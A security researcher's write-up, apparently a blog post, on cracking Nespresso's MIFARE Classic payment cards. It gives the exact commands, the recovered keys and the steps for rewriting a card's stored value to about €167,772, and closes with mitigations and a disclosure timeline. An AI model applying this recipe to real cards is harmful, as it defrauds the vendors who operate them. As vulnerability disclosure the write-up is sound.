Skip to content

Exploiting the Nespresso smart cards for fun and profit coffee

This page demonstrates the process of exploiting the common Nespresso coffee machines by dumping and modifying their custom smart cards.

Nespresso coffee card

Mifare Classic

The crux of this exploit lies in the type of smart card used by Nespresso to interact with their machines. Their system relies on the MIFARE Classic® brand of smart cards. These cards were quite ubiquitous and an industry standard in their time and even today they still see common use.

However in March 2008 the Digital Security research group of the Radboud University Nijmegen made public that they performed a complete reverse-engineering and were able to clone and manipulate the contents of a MIFARE Classic chip. This was given particular media attention because the specific card they targeted was the OV-Chipkaart used for public transport in the Netherlands.

NXP tried to stop the publication of the research by requesting a preliminary injunction. However, the injunction was denied, with the court noting that:

"It should be considered that the publication of scientific studies carries a lot of weight in a democratic society, as does informing society about serious issues in the chip, because it allows for mitigating of the risks."

Since that research, the Mifare Classic series is considered insecure and should not be used to perform security sensitive work. Mifare offers alternatives to their Classic series, with the MIFARE Plus being the drop-in replacement for MIFARE Classic with certified security level (AES-128 based) which is fully backwards compatible with MIFARE Classic.

Existing tools

NFC card reader / writer

Of course a good card reader / writer is required to do research into smart cards or to perform any of the exploits. The author recommends using the 'ACR122U by Advanced Card Systems Ltd'. Which is a reliable device that works well on both Windows and Linux systems and was not too expensive.

nfc-mfclassic - MIFARE Classic command line tool

This is a tool that comes packaged with libnfc. It can be used to read and write data to the MIFARE Classic cards. It can directly use the keys extracted by the mfoc tool.

If you experience problems where the commands mfoc or nfc-list complain about the device being in use, you can try blacklisting the default nfc modules. Create a file '/etc/modprobe.d/blacklist-libnfc.conf' and add the following entries:

blacklist nfc

blacklist pn533

blacklist pn533_usb

mfoc - MIFARE Classic offline cracker

mfoc is a program that cracks the encryption of a MIFARE Classic chip and dumps the chip's keys and decrypted memory contents to a file. To run it you need to have access to an NFC reader and, of course, a card equipped with a MIFARE Classic chip.

This tool is great, however development on it seems to have stopped and there are several pull requests open that have not been merged for some time now. While attempting to crack the keys for the Nespresso cards I encountered some bugs that would prevent the application from properly dumping the keys. I fixed the issues and submitted a pull request here but I do not expect that it will be merged given the state of the repository.

For anyone doing similar research I recommend using the patched version on my own github page.

Cracking the keys and dumping the smartcard

To start things off, we will want to crack any non-default keys present on the Nespresso card. We can easily do this using the mfoc tool. We run the following command:

mfoc -P 500 -O nespresso.dmp

We see in the output below that the card uses default keys for most sectors except the last 4. It takes the tool a couple of minutes to break the remaining 4 keys and they are dumped to our screen.

The tool then uses these keys to create a binary dump of the entire card. Note the warning messages "Failed reading with Key A after successfully testing Key A. This is unusual, but continuing anyway in case Key B succeeds...". This is the patch I implemented to do some error handling that would otherwise cause the binary dump to fail.

polle@polle-pc:~/data/work/tools/snippets/specific_applications/nespresso$ mfoc -P 500 -O nespresso.dmp
Found Mifare Classic 1k tag
ISO/IEC 14443A (106 kbps) target:
    ATQA (SENS_RES): 04  00  
* UID size: single
* bit frame anticollision not supported
       UID (NFCID1): 8b  2d  b7  e3  
      SAK (SEL_RES): 08  
* Not compliant with ISO/IEC 14443-4
* Not compliant with ISO/IEC 18092

Fingerprinting based on MIFARE type Identification Procedure:
Other possible matches based on ATQA & SAK values:
* Unknown card, sorry

Try to authenticate to all sectors with default keys...
Symbols: '.' no key found, '/' A key found, '\' B key found, 'x' both keys found
[Key: ffffffffffff] -> [................]
[Key: a0a1a2a3a4a5] -> [////////////////]
[Key: d3f7d3f7d3f7] -> [////////////////]
[Key: 000000000000] -> [////////////////]
[Key: b0b1b2b3b4b5] -> [xxxxxxxxxxxx////]
[Key: 4d3a99c351dd] -> [xxxxxxxxxxxx////]
[Key: 1a982c7e459a] -> [xxxxxxxxxxxx////]
[Key: aabbccddeeff] -> [xxxxxxxxxxxx////]
[Key: 714c5c886e97] -> [xxxxxxxxxxxx////]
[Key: 587ee5f9350f] -> [xxxxxxxxxxxx////]
[Key: a0478cc39091] -> [xxxxxxxxxxxx////]
[Key: 533cb6c723f6] -> [xxxxxxxxxxxx////]
[Key: 8fd0a4f256e9] -> [xxxxxxxxxxxx////]

Sector 00 - Found   Key A: a0a1a2a3a4a5 Found   Key B: b0b1b2b3b4b5
Sector 01 - Found   Key A: a0a1a2a3a4a5 Found   Key B: b0b1b2b3b4b5
Sector 02 - Found   Key A: a0a1a2a3a4a5 Found   Key B: b0b1b2b3b4b5
Sector 03 - Found   Key A: a0a1a2a3a4a5 Found   Key B: b0b1b2b3b4b5
Sector 04 - Found   Key A: a0a1a2a3a4a5 Found   Key B: b0b1b2b3b4b5
Sector 05 - Found   Key A: a0a1a2a3a4a5 Found   Key B: b0b1b2b3b4b5
Sector 06 - Found   Key A: a0a1a2a3a4a5 Found   Key B: b0b1b2b3b4b5
Sector 07 - Found   Key A: a0a1a2a3a4a5 Found   Key B: b0b1b2b3b4b5
Sector 08 - Found   Key A: a0a1a2a3a4a5 Found   Key B: b0b1b2b3b4b5
Sector 09 - Found   Key A: a0a1a2a3a4a5 Found   Key B: b0b1b2b3b4b5
Sector 10 - Found   Key A: a0a1a2a3a4a5 Found   Key B: b0b1b2b3b4b5
Sector 11 - Found   Key A: a0a1a2a3a4a5 Found   Key B: b0b1b2b3b4b5
Sector 12 - Found   Key A: a0a1a2a3a4a5 Unknown Key B
Sector 13 - Found   Key A: a0a1a2a3a4a5 Unknown Key B
Sector 14 - Found   Key A: a0a1a2a3a4a5 Unknown Key B
Sector 15 - Found   Key A: a0a1a2a3a4a5 Unknown Key B


Using sector 00 as an exploit sector
Sector: 12, type B, probe 0, distance 2924 .....
Sector: 12, type B, probe 1, distance 2872 .....
  Found Key: B [ff9a84635bd3]
Sector: 13, type B, probe 0, distance 2892 .....
  Found Key: B [f1a1239a4487]
Sector: 14, type B, probe 0, distance 2932 .....
Sector: 14, type B, probe 1, distance 2868 .....
Sector: 14, type B, probe 2, distance 2894 .....
Sector: 14, type B, probe 3, distance 2880 .....
Sector: 14, type B, probe 4, distance 2844 .....
Sector: 14, type B, probe 5, distance 2892 .....
Sector: 14, type B, probe 6, distance 2876 .....
Sector: 14, type B, probe 7, distance 2892 .....
Sector: 14, type B, probe 8, distance 2920 .....
Sector: 14, type B, probe 9, distance 2884 .....
Sector: 14, type B, probe 10, distance 2944 .....
Sector: 14, type B, probe 11, distance 2896 .....
  Found Key: B [6f30126ee7e4]
Sector: 15, type B, probe 0, distance 2852 .....
Sector: 15, type B, probe 1, distance 2924 .....
Sector: 15, type B, probe 2, distance 2898 .....
Sector: 15, type B, probe 3, distance 2836 .....
Sector: 15, type B, probe 4, distance 2880 .....
Sector: 15, type B, probe 5, distance 2884 .....
Sector: 15, type B, probe 6, distance 2856 .....
Sector: 15, type B, probe 7, distance 2788 .....
Sector: 15, type B, probe 8, distance 2868 .....
Sector: 15, type B, probe 9, distance 2802 .....
Sector: 15, type B, probe 10, distance 2868 .....
Sector: 15, type B, probe 11, distance 2906 .....
Sector: 15, type B, probe 12, distance 2894 .....
Sector: 15, type B, probe 13, distance 2832 .....
Sector: 15, type B, probe 14, distance 2832 .....
Sector: 15, type B, probe 15, distance 2828 .....
Sector: 15, type B, probe 16, distance 2842 .....
Sector: 15, type B, probe 17, distance 2836 .....
Sector: 15, type B, probe 18, distance 2834 .....
Sector: 15, type B, probe 19, distance 2810 .....
Sector: 15, type B, probe 20, distance 2914 .....
Sector: 15, type B, probe 21, distance 2874 .....
  Found Key: B [6039abb101bb]
Auth with all sectors succeeded, dumping keys to a file!
Block 63, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  4b  44  bb  5a  00  00  00  00  00  00
Block 62, type A, key a0a1a2a3a4a5 :00  00  57  7e  0a  6d  f2  00  00  00  00  00  4d  49  43  00
Failed reading with Key A after successfully testing Key A. This is unusual, but continuing anyway in case Key B succeeds...
Block 61, type B, key 6039abb101bb :dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd
Failed reading with Key A after successfully testing Key A. This is unusual, but continuing anyway in case Key B succeeds...
Block 60, type B, key 6039abb101bb :dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd
Block 59, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  0f  00  ff  e3  00  00  00  00  00  00
Failed reading with Key A after successfully testing Key A. This is unusual, but continuing anyway in case Key B succeeds...
Block 58, type B, key 6f30126ee7e4 :dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd
Failed reading with Key A after successfully testing Key A. This is unusual, but continuing anyway in case Key B succeeds...
Block 57, type B, key 6f30126ee7e4 :dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd
Failed reading with Key A after successfully testing Key A. This is unusual, but continuing anyway in case Key B succeeds...
Block 56, type B, key 6f30126ee7e4 :dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd
Block 55, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  0f  00  ff  b1  00  00  00  00  00  00
Failed reading with Key A after successfully testing Key A. This is unusual, but continuing anyway in case Key B succeeds...
Block 54, type B, key f1a1239a4487 :dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd
Failed reading with Key A after successfully testing Key A. This is unusual, but continuing anyway in case Key B succeeds...
Block 53, type B, key f1a1239a4487 :dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd
Failed reading with Key A after successfully testing Key A. This is unusual, but continuing anyway in case Key B succeeds...
Block 52, type B, key f1a1239a4487 :dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd  dd
Block 51, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  1e  11  ee  5a  00  00  00  00  00  00
Failed reading with Key A after successfully testing Key A. This is unusual, but continuing anyway in case Key B succeeds...
Block 50, type B, key ff9a84635bd3 :00  00  00  00  00  01  00  00  dd  dd  dd  dd  dd  dd  dd  dd
Failed reading with Key A after successfully testing Key A. This is unusual, but continuing anyway in case Key B succeeds...
Block 49, type B, key ff9a84635bd3 :01  01  ee  ee  ee  ee  ee  ee  00  02  26  01  00  01  00  01
Block 48, type A, key a0a1a2a3a4a5 :08  01  00  84  00  04  4e  1c  00  00  02  00  01  09  26  af
Block 47, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  78  77  88  69  00  00  00  00  00  00
Block 46, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 45, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 44, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 43, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  78  77  88  69  00  00  00  00  00  00
Block 42, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 41, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 40, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 39, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  78  77  88  69  00  00  00  00  00  00
Block 38, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 37, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 36, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 35, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  78  77  88  69  00  00  00  00  00  00
Block 34, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 33, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 32, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 31, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  78  77  88  69  00  00  00  00  00  00
Block 30, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 29, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 28, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 27, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  78  77  88  69  00  00  00  00  00  00
Block 26, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 25, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 24, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 23, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  78  77  88  69  00  00  00  00  00  00
Block 22, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 21, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 20, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 19, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  78  77  88  69  00  00  00  00  00  00
Block 18, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 17, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 16, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 15, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  78  77  88  69  00  00  00  00  00  00
Block 14, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 13, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 12, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 11, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  78  77  88  69  00  00  00  00  00  00
Block 10, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 09, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 08, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 07, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  78  77  88  69  00  00  00  00  00  00
Block 06, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 05, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 04, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 03, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  61  e7  89  c1  00  00  00  00  00  00
Block 02, type A, key a0a1a2a3a4a5 :00  00  00  00  00  00  00  00  09  38  09  38  09  38  09  38
Block 01, type A, key a0a1a2a3a4a5 :d2  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
Block 00, type A, key a0a1a2a3a4a5 :8b  2d  b7  e3  f2  08  04  00  62  63  64  65  66  67  68  69

Before we continue, we manually grab the keys that were found and add them to a file keys.txt. That way we can feed them into the tool and skip the cracking part for subsequent dumps.

Mifare card keys

Binary comparison - Finding the money bytes

We can now proceed with our attack. We are working on the assumption that the value of the card is kept on the card itself rather than on some centralized server. This is a much simpler and cost effective design, requiring less hardware and software to implement, making it a likely choice for anyone developing such a system unaware of the security weaknessess of the MIFARE Classic.

We charge our card with some value. Specifically with €1.50, and make a binary dump of our card (using the keys we gathered before).

$ mfoc -P 500 -O nespresso_150c.dmp -f keys.txt

We then purchase some coffee from the machines, dropping the value on the card to €0.50, and make another dump

$ mfoc -P 500 -O nespresso_50c.dmp -f keys.txt

We can now do a binary comparison of the two dumps and see what changed.

Binary comparison

The above is output from a tool I made to help visualize the differences between two mifare dumps. However any binary diff tool would work just as well to spot that there is only a very small difference in the output of both dumps.

In fact, the only difference is the value located in section 12 that contains exactly the value we expected on both dumps:

  • hex(96) -> int(150) -> €1.50
  • hex(32) -> int(50) -> €0.50

After doing some more testing and debugging, we come to the conclusion that the card uses 3 bytes to represent the total monetary value on the card. The maximum possible amount of money on one of these cards is therefore €167.772,15.

Writing our own money value

All that now remains is to use a hex-editor or the aformentioned tool I built to update the monetary value in the dump.

Maximum value card

We now have a dump file (nespresso_FFFFFF.dmp) that contains €167.772,15. Let's try to write that back onto the card!

For writing values back onto the card we must use the nfc-mfclassic tool. This tool requires two dump files. 1 containing the dump we want to write onto the card, and one containing a dump previously taken from this specific card. The second dump is required just to extract the keys. In our case, because we are writing back to the same card we took the dump from, we can just use the same dump file twice.

Note that if you were writing this dump file back to a blank smartcard, you would need to use a previous dump of the blank smartcard as the "key dump" to allow the data to be properly written.

nfc-mfclassic w B nespresso_FFFFFF.dmp nespresso_FFFFFF.dmp
  • w -> Write every sector except the blocked sector 0
  • B -> Use 'b' keys to perform the action, do not stop on errors
  • nespresso_FFFFFF.dmp -> Data to write to the card
  • nespresso_FFFFFF.dmp -> Keys to use for this card
Write original card

NOTE: If you are instead writing to blank MIFARE Classic card you should write also to the normally blocked sector 0. Specify a capital W rather than w to do so and of course use the keys of the blank card instead.

nfc-mfclassic W B nespresso_FFFFFF.dmp blank.dmp
Write custom card

That's all there is to it. We can now test our new card on one of the Nespresso machines:

Verify custom card

Our custom card with a value of €167.772,15. Note that the display is too small to properly display the first digit :)

Potential mitigations

Given the fact that this is a hardware issue with the cards used, there are not that many options to fix this issue. In my opinion one of the following two options are recommended:

  • Hardware upgrade: Upgrade the smartcards for future products and use more secure alternatives
  • Software mitigation: Upgrade the machines to keep the money value on a backend server rather than on the card itself, only using the cards as a "Personal ID"

After talking to Nespresso, it seems they already offer both of these options. Clients concerned with the security of their systems should look into these alternatives.

Responsible Disclosure to Nespresso

  • 24 September 2020: Initial disclosure of findings to Nestlé Nespresso S.A
  • 24 September 2020: The vendor was quick in communicating and setting up a meeting to discuss the vulnerability
  • 09 October 2020: Full disclosure of technical details to vendor
  • 02 February 2021: Nespresso confirmed they agreed with publishing this writeup